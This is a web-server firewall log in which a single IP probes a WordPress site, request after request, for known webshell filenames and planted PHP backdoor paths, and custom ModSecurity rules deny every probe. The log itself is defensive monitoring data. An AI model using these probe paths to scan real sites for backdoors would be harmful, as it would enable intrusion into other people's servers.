[Sun Jan 18 18:51:29.765825 2026] [:error] [pid 33494:tid 33522] [client 20.2.112.127:4020] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ooo.php"] [unique_id "aWy7MbxmLR_50TtKxDIKnAAAARg"]
[Sun Jan 18 18:51:29.998605 2026] [:error] [pid 37885:tid 37903] [client 20.2.112.127:3921] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ooo.php"] [unique_id "aWy7MYIjOL7XA82H72V0MQAAAU8"]
[Sun Jan 18 18:51:30.231106 2026] [:error] [pid 37885:tid 37896] [client 20.2.112.127:3931] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ooo.php"] [unique_id "aWy7MoIjOL7XA82H72V0MgAAAUg"]
[Sun Jan 18 18:51:30.465842 2026] [:error] [pid 37885:tid 37892] [client 20.2.112.127:4058] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aWy7MoIjOL7XA82H72V0MwAAAUQ"]
[Sun Jan 18 18:51:30.699078 2026] [:error] [pid 33494:tid 33519] [client 20.2.112.127:3991] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aWy7MrxmLR_50TtKxDIKnQAAARU"]
[Sun Jan 18 18:51:30.932298 2026] [:error] [pid 33494:tid 33502] [client 20.2.112.127:3866] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aWy7MrxmLR_50TtKxDIKngAAAQQ"]
[Sun Jan 18 18:51:31.166183 2026] [:error] [pid 33494:tid 33508] [client 20.2.112.127:10488] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aWy7M7xmLR_50TtKxDIKnwAAAQo"]
[Sun Jan 18 18:51:31.399400 2026] [:error] [pid 37885:tid 37911] [client 20.2.112.127:4021] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kaza.php"] [unique_id "aWy7M4IjOL7XA82H72V0NQAAAVc"]
[Sun Jan 18 18:51:31.655390 2026] [:error] [pid 12925:tid 12990] [client 20.2.112.127:4087] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kaza.php"] [unique_id "aWy7M_sBL-4pnmSbzihHHAAAAII"]
[Sun Jan 18 18:51:31.887934 2026] [:error] [pid 13034:tid 13054] [client 20.2.112.127:4095] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kaza.php"] [unique_id "aWy7M8RGpUu1E8cmbmiJ6QAAANA"]
[Sun Jan 18 18:51:32.120736 2026] [:error] [pid 12925:tid 13010] [client 20.2.112.127:3996] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kaza.php"] [unique_id "aWy7NPsBL-4pnmSbzihHHQAAAJY"]
[Sun Jan 18 18:51:32.354528 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:4000] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aWy7NIIjOL7XA82H72V0NgAAAU0"]
[Sun Jan 18 18:51:32.595303 2026] [:error] [pid 37885:tid 37908] [client 20.2.112.127:4014] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aWy7NIIjOL7XA82H72V0OAAAAVQ"]
[Sun Jan 18 18:51:32.845348 2026] [:error] [pid 37885:tid 37910] [client 20.2.112.127:4017] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aWy7NIIjOL7XA82H72V0OQAAAVY"]
[Sun Jan 18 18:51:33.079131 2026] [:error] [pid 13034:tid 13041] [client 20.2.112.127:10379] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aWy7NcRGpUu1E8cmbmiJ7AAAAMM"]
[Sun Jan 18 18:51:33.312942 2026] [:error] [pid 37885:tid 37905] [client 20.2.112.127:3935] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aWy7NYIjOL7XA82H72V0OwAAAVE"]
[Sun Jan 18 18:51:33.547354 2026] [:error] [pid 37885:tid 37888] [client 20.2.112.127:3913] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aWy7NYIjOL7XA82H72V0PAAAAUA"]
[Sun Jan 18 18:51:33.781263 2026] [:error] [pid 12925:tid 13000] [client 20.2.112.127:3987] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aWy7NfsBL-4pnmSbzihHIAAAAIw"]
[Sun Jan 18 18:51:34.015032 2026] [:error] [pid 37885:tid 37898] [client 20.2.112.127:3982] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aWy7NoIjOL7XA82H72V0PQAAAUo"]
[Sun Jan 18 18:51:34.265454 2026] [:error] [pid 37885:tid 37906] [client 20.2.112.127:3983] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edd/js/tinymce/plugins/advhr/css/security.php"] [unique_id "aWy7NoIjOL7XA82H72V0PgAAAVI"]
[Sun Jan 18 18:51:34.500756 2026] [:error] [pid 13034:tid 13055] [client 20.2.112.127:4018] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edd/js/tinymce/plugins/advhr/css/security.php"] [unique_id "aWy7NsRGpUu1E8cmbmiJ7wAAANE"]
[Sun Jan 18 18:51:34.734090 2026] [:error] [pid 12923:tid 12944] [client 20.2.112.127:4028] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edd/js/tinymce/plugins/advhr/css/security.php"] [unique_id "aWy7NusWURrrC-4Rx5J5qwAAAAw"]
[Sun Jan 18 18:51:34.966827 2026] [:error] [pid 12925:tid 13012] [client 20.2.112.127:3949] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edd/js/tinymce/plugins/advhr/css/security.php"] [unique_id "aWy7NvsBL-4pnmSbzihHIwAAAJg"]
[Sun Jan 18 18:51:35.209293 2026] [:error] [pid 12925:tid 12997] [client 20.2.112.127:3910] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrfynw/data.php"] [unique_id "aWy7N_sBL-4pnmSbzihHJQAAAIk"]
[Sun Jan 18 18:51:35.442963 2026] [:error] [pid 37885:tid 37907] [client 20.2.112.127:3976] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrfynw/data.php"] [unique_id "aWy7N4IjOL7XA82H72V0PwAAAVM"]
[Sun Jan 18 18:51:35.676197 2026] [:error] [pid 37885:tid 37904] [client 20.2.112.127:3941] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrfynw/data.php"] [unique_id "aWy7N4IjOL7XA82H72V0QAAAAVA"]
[Sun Jan 18 18:51:35.909299 2026] [:error] [pid 37885:tid 37909] [client 20.2.112.127:4026] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrfynw/data.php"] [unique_id "aWy7N4IjOL7XA82H72V0QQAAAVU"]
[Sun Jan 18 18:51:36.144216 2026] [:error] [pid 33494:tid 33498] [client 20.2.112.127:3989] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image/sports-uniforms/framework.php"] [unique_id "aWy7OLxmLR_50TtKxDIKoQAAAQA"]
[Sun Jan 18 18:51:36.378332 2026] [:error] [pid 12925:tid 13002] [client 20.2.112.127:4093] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image/sports-uniforms/framework.php"] [unique_id "aWy7OPsBL-4pnmSbzihHJgAAAI4"]
[Sun Jan 18 18:51:36.622138 2026] [:error] [pid 12925:tid 12992] [client 20.2.112.127:4009] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image/sports-uniforms/framework.php"] [unique_id "aWy7OPsBL-4pnmSbzihHJwAAAIQ"]
[Sun Jan 18 18:51:36.855079 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:4053] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image/sports-uniforms/framework.php"] [unique_id "aWy7OIIjOL7XA82H72V0QgAAAUI"]
[Sun Jan 18 18:51:37.088066 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:3936] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/vendor/psr/container/default.php"] [unique_id "aWy7OYIjOL7XA82H72V0QwAAAU4"]
[Sun Jan 18 18:51:37.320697 2026] [:error] [pid 13034:tid 13053] [client 20.2.112.127:3992] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/vendor/psr/container/default.php"] [unique_id "aWy7OcRGpUu1E8cmbmiJ8QAAAM8"]
[Sun Jan 18 18:51:37.553504 2026] [:error] [pid 37885:tid 37894] [client 20.2.112.127:10405] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/vendor/psr/container/default.php"] [unique_id "aWy7OYIjOL7XA82H72V0RgAAAUY"]
[Sun Jan 18 18:51:37.786166 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:4094] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/vendor/psr/container/default.php"] [unique_id "aWy7OYIjOL7XA82H72V0SAAAAU0"]
[Sun Jan 18 18:51:38.018856 2026] [:error] [pid 13034:tid 13051] [client 20.2.112.127:4003] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWy7OsRGpUu1E8cmbmiJ8gAAAM0"]
[Sun Jan 18 18:51:38.251818 2026] [:error] [pid 12923:tid 12948] [client 20.2.112.127:3916] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWy7OusWURrrC-4Rx5J5rgAAABA"]
[Sun Jan 18 18:51:38.485527 2026] [:error] [pid 12923:tid 12945] [client 20.2.112.127:3918] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWy7OusWURrrC-4Rx5J5rwAAAA0"]
[Sun Jan 18 18:51:38.718176 2026] [:error] [pid 12923:tid 12956] [client 20.2.112.127:3919] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWy7OusWURrrC-4Rx5J5sQAAABg"]
[Sun Jan 18 18:51:38.953867 2026] [:error] [pid 12923:tid 12953] [client 20.2.112.127:3877] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWy7OusWURrrC-4Rx5J5swAAABU"]
[Sun Jan 18 18:51:39.188153 2026] [:error] [pid 13034:tid 13037] [client 20.2.112.127:4086] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWy7O8RGpUu1E8cmbmiJ8wAAAME"]
[Sun Jan 18 18:51:39.422608 2026] [:error] [pid 13034:tid 13044] [client 20.2.112.127:3980] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWy7O8RGpUu1E8cmbmiJ9AAAAMY"]
[Sun Jan 18 18:51:39.655043 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:3934] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWy7O_sBL-4pnmSbzihHKQAAAJE"]
[Sun Jan 18 18:51:39.893237 2026] [:error] [pid 12923:tid 12939] [client 20.2.112.127:3988] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aWy7O-sWURrrC-4Rx5J5tQAAAAc"]
[Sun Jan 18 18:51:40.126870 2026] [:error] [pid 12925:tid 13006] [client 20.2.112.127:10490] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aWy7PPsBL-4pnmSbzihHKwAAAJI"]
[Sun Jan 18 18:51:40.360064 2026] [:error] [pid 12923:tid 12941] [client 20.2.112.127:3944] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aWy7POsWURrrC-4Rx5J5twAAAAk"]
[Sun Jan 18 18:51:40.592656 2026] [:error] [pid 12923:tid 12950] [client 20.2.112.127:4092] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aWy7POsWURrrC-4Rx5J5uAAAABI"]
[Sun Jan 18 18:51:40.825192 2026] [:error] [pid 13034:tid 13043] [client 20.2.112.127:3951] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aWy7PMRGpUu1E8cmbmiJ9QAAAMU"]
[Sun Jan 18 18:51:41.058027 2026] [:error] [pid 13034:tid 13061] [client 20.2.112.127:3960] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aWy7PcRGpUu1E8cmbmiJ9gAAANc"]
[Sun Jan 18 18:51:41.290849 2026] [:error] [pid 37885:tid 37893] [client 20.2.112.127:4027] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aWy7PYIjOL7XA82H72V0SwAAAUU"]
[Sun Jan 18 18:51:41.529763 2026] [:error] [pid 37885:tid 37888] [client 20.2.112.127:3971] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aWy7PYIjOL7XA82H72V0TQAAAUA"]
[Sun Jan 18 18:51:41.762930 2026] [:error] [pid 12924:tid 12973] [client 20.2.112.127:4016] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aWy7PSuv3PUo9LR6V6YkoAAAAE0"]
[Sun Jan 18 18:51:41.996641 2026] [:error] [pid 12925:tid 13008] [client 20.2.112.127:4072] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aWy7PfsBL-4pnmSbzihHMwAAAJQ"]
[Sun Jan 18 18:51:42.229241 2026] [:error] [pid 37885:tid 37898] [client 20.2.112.127:3999] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aWy7PoIjOL7XA82H72V0TwAAAUo"]
[Sun Jan 18 18:51:42.461859 2026] [:error] [pid 37885:tid 37906] [client 20.2.112.127:4024] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aWy7PoIjOL7XA82H72V0UAAAAVI"]
